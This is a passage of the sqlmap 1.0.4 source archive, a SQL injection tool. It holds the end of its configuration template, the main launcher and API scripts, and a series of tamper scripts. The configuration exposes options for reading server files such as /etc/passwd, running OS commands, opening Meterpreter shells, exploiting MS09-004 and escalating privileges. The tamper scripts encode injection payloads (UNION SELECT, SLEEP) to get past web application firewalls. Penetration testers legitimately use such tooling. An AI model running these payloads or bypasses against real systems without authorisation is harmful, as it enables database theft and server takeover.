enumerate. col = # Back-end database management system database table column(s) to not enumerate. excludeCol = # Use WHERE condition while table dumping (e.g. "id=1"). dumpWhere = # Back-end database management system database user to enumerate. user = # Exclude DBMS system databases when enumerating tables. # Valid: True or False excludeSysDbs = False # First query output entry to retrieve # Valid: integer # Default: 0 (sqlmap will start to retrieve the query output entries from # the first) limitStart = 0 # Last query output entry to retrieve # Valid: integer # Default: 0 (sqlmap will detect the number of query output entries and # retrieve them until the last) limitStop = 0 # First query output word character to retrieve # Valid: integer # Default: 0 (sqlmap will enumerate the query output from the first # character) firstChar = 0 # Last query output word character to retrieve # Valid: integer # Default: 0 (sqlmap will enumerate the query output until the last # character) lastChar = 0 # SQL statement to be executed. # Example: SELECT 'foo', 'bar' query = # Prompt for an interactive SQL shell. # Valid: True or False sqlShell = False # Execute SQL statements from given file(s). sqlFile = # These options can be used to run brute force checks. [Brute force] # Check existence of common tables. # Valid: True or False commonTables = False # Check existence of common columns. # Valid: True or False commonColumns = False # These options can be used to create custom user-defined functions. [User-defined function] # Inject custom user-defined functions # Valid: True or False udfInject = False # Local path of the shared library shLib = # These options can be used to access the back-end database management # system underlying file system. [File system] # Read a specific file from the back-end DBMS underlying file system. # Examples: /etc/passwd or C:\boot.ini rFile = # Write a local file to a specific path on the back-end DBMS underlying # file system. # Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt wFile = # Back-end DBMS absolute filepath to write the file to. dFile = # These options can be used to access the back-end database management # system underlying operating system. [Takeover] # Execute an operating system command. # Valid: operating system command osCmd = # Prompt for an interactive operating system shell. # Valid: True or False osShell = False # Prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osPwn = False # One click prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osSmb = False # Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored # procedure heap-based buffer overflow (MS09-004) exploitation. # Valid: True or False osBof = False # Database process' user privilege escalation. # Note: Use in conjunction with osPwn, osSmb or osBof. It will force the # payload to be Meterpreter. privEsc = False # Local path where Metasploit Framework is installed. # Valid: file system path msfPath = # Remote absolute path of temporary files directory. # Valid: absolute file system path tmpPath = # These options can be used to access the back-end database management # system Windows registry. [Windows] # Read a Windows registry key value. # Valid: True or False regRead = False # Write a Windows registry key value data. # Valid: True or False regAdd = False # Delete a Windows registry key value. # Valid: True or False regDel = False # Windows registry key. regKey = # Windows registry key value. regVal = # Windows registry key value data. regData = # Windows registry key value type. regType = # These options can be used to set some general working parameters. [General] # Load session from a stored (.sqlite) file # Example: output/www.target.com/session.sqlite sessionFile = # Log all HTTP traffic into a textual file. trafficFile = # Never ask for user input, use the default behaviour. # Valid: True or False batch = False # Force character encoding used for data retrieval. charset = # Crawl the website starting from the target URL. # Valid: integer # Default: 0 crawlDepth = 0 # Regexp to exclude pages from crawling (e.g. "logout"). crawlExclude = # Delimiting character used in CSV output. # Default: , csvDel = , # Format of dumped data # Valid: CSV, HTML or SQLITE dumpFormat = CSV # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False eta = False # Flush session files for current target. # Valid: True or False flushSession = False # Parse and test forms on target URL. # Valid: True or False forms = False # Ignore query results stored in session file. # Valid: True or False freshQueries = False # Use DBMS hex function(s) for data retrieval. # Valid: True or False hexConvert = False # Custom output directory path. outputDir = # Parse and display DBMS error messages from responses. # Valid: True or False parseErrors = False # Pivot column name. pivotColumn = # Regular expression for filtering targets from provided Burp. # or WebScarab proxy log. # Example: (google|yahoo) scope = # Select tests by payloads and/or titles (e.g. ROW) testFilter = # Skip tests by payloads and/or titles (e.g. BENCHMARK) testSkip = # Update sqlmap. # Valid: True or False updateAll = False [Miscellaneous] # Run host OS command(s) when SQL injection is found. alert = # Set question answers (e.g. "quit=N,follow=N"). answers = # Beep on question and/or when SQL injection is found. # Valid: True or False beep = False # Offline WAF/IPS/IDS payload detection testing. # Valid: True or False checkPayload = False # Clean up the DBMS from sqlmap specific UDF and tables. # Valid: True or False cleanup = False # Check for missing (non-core) sqlmap dependencies. # Valid: True or False dependencies = False # Disable console output coloring. # Valid: True or False disableColoring = False # Use Google dork results from specified page number. # Valid: integer # Default: 1 googlePage = 1 # Make a thorough testing for a WAF/IPS/IDS protection. # Valid: True or False identifyWaf = False # Skip heuristic detection of WAF/IPS/IDS protection. # Valid: True or False skipWaf = False # Imitate smartphone through HTTP User-Agent header. # Valid: True or False mobile = False # Work in offline mode (only use session data) # Valid: True or False offline = False # Display page rank (PR) for Google dork results. # Valid: True or False pageRank = False # Conduct thorough tests only if positive heuristic(s). # Valid: True or False smart = False # Simple wizard interface for beginner users. # Valid: True or False wizard = False # Verbosity level. # Valid: integer between 0 and 6 # 0: Show only error and critical messages # 1: Show also warning and info messages # 2: Show also debug messages # 3: Show also payloads injected # 4: Show also HTTP requests # 5: Show also HTTP responses' headers # 6: Show also HTTP responses' page content # Default: 1 verbose = 1 sqlmap-1.0.4/sqlmap.py000077500000000000000000000173071270044205500146720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import sys sys.dont_write_bytecode = True from lib.utils import versioncheck # this has to be the first non-standard import import bdb import inspect import logging import os import re import shutil import sys import thread import time import traceback import warnings warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) from lib.controller.controller import start from lib.core.common import banner from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import maskSensitiveData from lib.core.common import setPaths from lib.core.common import weAreFrozen from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.common import unhandledExceptionMessage from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException from lib.core.option import initOptions from lib.core.option import init from lib.core.profiling import profile from lib.core.settings import LEGAL_DISCLAIMER from lib.core.testing import smokeTest from lib.core.testing import liveTest from lib.parse.cmdline import cmdLineParser from lib.utils.api import setRestAPILog from lib.utils.api import StdDbOut def modulePath(): """ This will get us the program's directory, even if we are frozen using py2exe """ try: _ = sys.executable if weAreFrozen() else __file__ except NameError: _ = inspect.getsourcefile(modulePath) return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding()) def main(): """ Main function of sqlmap when running from command line. """ try: paths.SQLMAP_ROOT_PATH = modulePath() try: os.path.isdir(paths.SQLMAP_ROOT_PATH) except UnicodeEncodeError: errMsg = "your system does not properly handle non-ASCII paths. " errMsg += "Please move the sqlmap's directory to the other location" logger.error(errMsg) raise SystemExit setPaths() # Store original command line options for possible later restoration cmdLineOptions.update(cmdLineParser().__dict__) initOptions(cmdLineOptions) if hasattr(conf, "api"): # Overwrite system standard output and standard error to write # to an IPC database sys.stdout = StdDbOut(conf.taskid, messagetype="stdout") sys.stderr = StdDbOut(conf.taskid, messagetype="stderr") setRestAPILog() banner() conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) init() if conf.profile: profile() elif conf.smokeTest: smokeTest() elif conf.liveTest: liveTest() else: try: start() except thread.error as ex: if "can't start new thread" in getSafeExString(ex): errMsg = "unable to start new threads. Please check OS (u)limits" logger.critical(errMsg) raise SystemExit else: raise except SqlmapUserQuitException: errMsg = "user quit" try: logger.error(errMsg) except KeyboardInterrupt: pass except (SqlmapSilentQuitException, bdb.BdbQuit): pass except SqlmapShellQuitException: cmdLineOptions.sqlmapShell = False except SqlmapBaseException as ex: errMsg = getSafeExString(ex) try: logger.critical(errMsg) except KeyboardInterrupt: pass raise SystemExit except KeyboardInterrupt: print errMsg = "user aborted" try: logger.error(errMsg) except KeyboardInterrupt: pass except EOFError: print errMsg = "exit" try: logger.error(errMsg) except KeyboardInterrupt: pass except SystemExit: pass except: print errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() try: if any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")): errMsg = "no space left on output device" logger.error(errMsg) raise SystemExit elif "_mkstemp_inner" in excMsg: errMsg = "there has been a problem while accessing temporary files" logger.error(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("pymysql", "configparser")): errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" logger.error(errMsg) raise SystemExit elif "bad marshal data (unknown type code)" in excMsg: match = re.search(r"\s*(.+)\s+ValueError", excMsg) errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") errMsg += ". Please delete .pyc files on your system to fix the problem" logger.error(errMsg) raise SystemExit elif "valueStack.pop" in excMsg and kb.get("dumpKeyboardInterrupt"): raise SystemExit for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) file_ = os.path.relpath(file_, os.path.dirname(__file__)) file_ = file_.replace("\\", '/') file_ = re.sub(r"\.\./", '/', file_).lstrip('/') excMsg = excMsg.replace(match.group(1), file_) errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) if hasattr(conf, "api"): logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL dataToStdout(excMsg) createGithubIssue(errMsg, excMsg) except KeyboardInterrupt: pass finally: kb.threadContinue = False kb.threadException = True if conf.get("showTime"): dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) if kb.get("tempDir"): shutil.rmtree(kb.tempDir, ignore_errors=True) if conf.get("hashDB"): try: conf.hashDB.flush(True) except KeyboardInterrupt: pass if cmdLineOptions.get("sqlmapShell"): cmdLineOptions.clear() conf.clear() kb.clear() main() if hasattr(conf, "api"): try: conf.database_cursor.disconnect() except KeyboardInterrupt: pass if conf.get("dumper"): conf.dumper.flush() # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program if conf.get("threads", 0) > 1 or conf.get("dnsServer"): os._exit(0) if __name__ == "__main__": main() sqlmap-1.0.4/sqlmapapi.py000077500000000000000000000036711270044205500153630ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import logging import optparse import sys sys.dont_write_bytecode = True from lib.utils import versioncheck # this has to be the first non-standard import from sqlmap import modulePath from lib.core.common import setPaths from lib.core.data import paths from lib.core.data import logger from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.utils.api import client from lib.utils.api import server def main(): """ REST-JSON API main function """ # Set default logging level to debug logger.setLevel(logging.DEBUG) # Initialize path variable paths.SQLMAP_ROOT_PATH = modulePath() setPaths() # Parse command line options apiparser = optparse.OptionParser() apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true") apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true") apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server", default=RESTAPI_DEFAULT_ADDRESS, action="store") apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server", default=RESTAPI_DEFAULT_PORT, type="int", action="store") apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default %s)" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") (args, _) = apiparser.parse_args() # Start the client or the server if args.server is True: server(args.host, args.port, adapter=args.adapter) elif args.client is True: client(args.host, args.port) else: apiparser.print_help() if __name__ == "__main__": main() sqlmap-1.0.4/tamper/000077500000000000000000000000001270044205500143005ustar00rootroot00000000000000sqlmap-1.0.4/tamper/__init__.py000066400000000000000000000002261270044205500164110ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/tamper/apostrophemask.py000066400000000000000000000014371270044205500177170ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces apostrophe character with its UTF-8 full width counterpart References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * http://lukasz.pilorz.net/testy/unicode_conversion/ * http://sla.ckers.org/forum/read.php?13,11562,11850 * http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace('\'', "%EF%BC%87") if payload else payload sqlmap-1.0.4/tamper/apostrophenullencode.py000066400000000000000000000007671270044205500211210ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces apostrophe character with its illegal double unicode counterpart >>> tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' """ return payload.replace('\'', "%00%27") if payload else payload sqlmap-1.0.4/tamper/appendnullbyte.py000066400000000000000000000014031270044205500176760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Appends encoded NULL byte character at the end of payload Requirement: * Microsoft Access Notes: * Useful to bypass weak web application firewalls when the back-end database management system is Microsoft Access - further uses are also possible Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection >>> tamper('1 AND 1=1') '1 AND 1=1%00' """ return "%s%%00" % payload if payload else payload sqlmap-1.0.4/tamper/base64encode.py000066400000000000000000000010501270044205500171100ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import base64 from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Base64 all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload sqlmap-1.0.4/tamper/between.py000066400000000000000000000033131270044205500163030ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' Replaces equals operator ('=') with 'BETWEEN # AND #' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases >>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--') '1 AND A BETWEEN B AND B--' """ retVal = payload if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload) if retVal == payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) return retVal sqlmap-1.0.4/tamper/bluecoat.py000066400000000000000000000024441270044205500164540ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character after SQL statement with a valid random blank character. Afterwards replace character = with LIKE operator Requirement: * Blue Coat SGOS with WAF activated as documented in https://kb.bluecoat.com/index?page=content&id=FAQ2147 Tested against: * MySQL 5.1, SGOS Notes: * Useful to bypass Blue Coat's recommended WAF rule configuration >>> tamper('SELECT id FROM users WHERE id = 1') 'SELECT%09id FROM%09users WHERE%09id LIKE 1' """ def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "%s%%09" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"\b(?P[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) retVal = retVal.replace("%09 ", "%09") return retVal sqlmap-1.0.4/tamper/chardoubleencode.py000066400000000000000000000022551270044205500201440ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Double url-encodes all characters in a given payload (not processing already encoded) Notes: * Useful to bypass some weak web application firewalls that do not double url-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD FROM%20TABLE') '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += '%%25%s' % payload[i + 1:i + 3] i += 3 else: retVal += '%%25%.2X' % ord(payload[i]) i += 1 return retVal sqlmap-1.0.4/tamper/charencode.py000066400000000000000000000025431270044205500167510ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Url-encodes all characters in a given payload (not processing already encoded) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS >>> tamper('SELECT FIELD FROM%20TABLE') '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += '%%%.2X' % ord(payload[i]) i += 1 return retVal sqlmap-1.0.4/tamper/charunicodeencode.py000066400000000000000000000031331270044205500203140ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import string from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): """ Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) Requirement: * ASP * ASP.NET Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 Notes: * Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset >>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += '%%u%.4X' % ord(payload[i]) i += 1 return retVal sqlmap-1.0.4/tamper/commalesslimit.py000066400000000000000000000014261270044205500176770ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' Requirement: * MySQL Tested against: * MySQL 5.0 and 5.5 >>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2' """ retVal = payload match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "") if match: retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1))) return retVal sqlmap-1.0.4/tamper/commalessmid.py000066400000000000000000000020251270044205500173260ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' Requirement: * MySQL Tested against: * MySQL 5.0 and 5.5 >>> tamper('MID(VERSION(), 1, 1)') 'MID(VERSION() FROM 1 FOR 1)' """ retVal = payload warnMsg = "you should consider usage of switch '--no-cast' along with " warnMsg += "tamper script '%s'" % os.path.basename(__file__).split(".")[0] singleTimeWarnMessage(warnMsg) match = re.search(r"(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)", payload or "") if match: retVal = retVal.replace(match.group(0), "MID(%s FROM %s FOR %s)" % (match.group(1), match.group(2), match.group(3))) return retVal sqlmap-1.0.4/tamper/concat2concatws.py000066400000000000000000000013761270044205500177540ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the CONCAT() function >>> tamper('CONCAT(1,2)') 'CONCAT_WS(MID(CHAR(0),0,0),1,2)' """ if payload: payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") return payload sqlmap-1.0.4/tamper/equaltolike.py000066400000000000000000000021601270044205500171700ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) def tamper(payload, **kwargs): """ Replaces all occurances of operator equal ('=') with operator 'LIKE' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases >>> tamper('SELECT * FROM users WHERE id=1') 'SELECT * FROM users WHERE id LIKE 1' """ retVal = payload if payload: retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) return retVal sqlmap-1.0.4/tamper/escapequotes.py000066400000000000000000000007761270044205500173650ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import base64 from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Slash escape quotes (' and ") >>> tamper('1" AND SLEEP(5)#') '1\\\\" AND SLEEP(5)#' """ return payload.replace("'", "\\'").replace('"', '\\"') sqlmap-1.0.4/tamper/greatest.py000066400000000000000000000022001270044205500164620ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'GREATEST' counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases >>> tamper('1 AND A > B') '1 AND GREATEST(A,B+1)=A' """ retVal = payload if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>#-]+)", payload) if match: _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4)) retVal = retVal.replace(match.group(0), _) return retVal sqlmap-1.0.4/tamper/halfversionedmorekeywords.py000066400000000000000000000035251270044205500221630ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Adds versioned MySQL comment before each keyword Requirement: * MySQL < 5.1 Tested against: * MySQL 4.0.18, 5.0.22 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" """ def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!0%s" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal sqlmap-1.0.4/tamper/ifnull2ifisnull.py000066400000000000000000000031311270044205500177710ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function >>> tamper('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' """ if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1 and payload[i] == ',': comma = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload sqlmap-1.0.4/tamper/informationschemacomment.py000066400000000000000000000011651270044205500217460ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Add a comment to the end of all occurrences of (blacklisted) "information_schema" identifier >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' """ retVal = payload if payload: retVal = 